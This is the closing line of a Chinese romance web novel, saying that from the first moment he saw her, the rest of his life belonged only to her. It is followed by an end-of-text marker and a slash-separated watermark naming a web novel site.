第一眼看到她起,他的余生,从此只属于她。
【全文完】魔/蝎/小/说/m/o/x/i/e/x/s/.c/o/m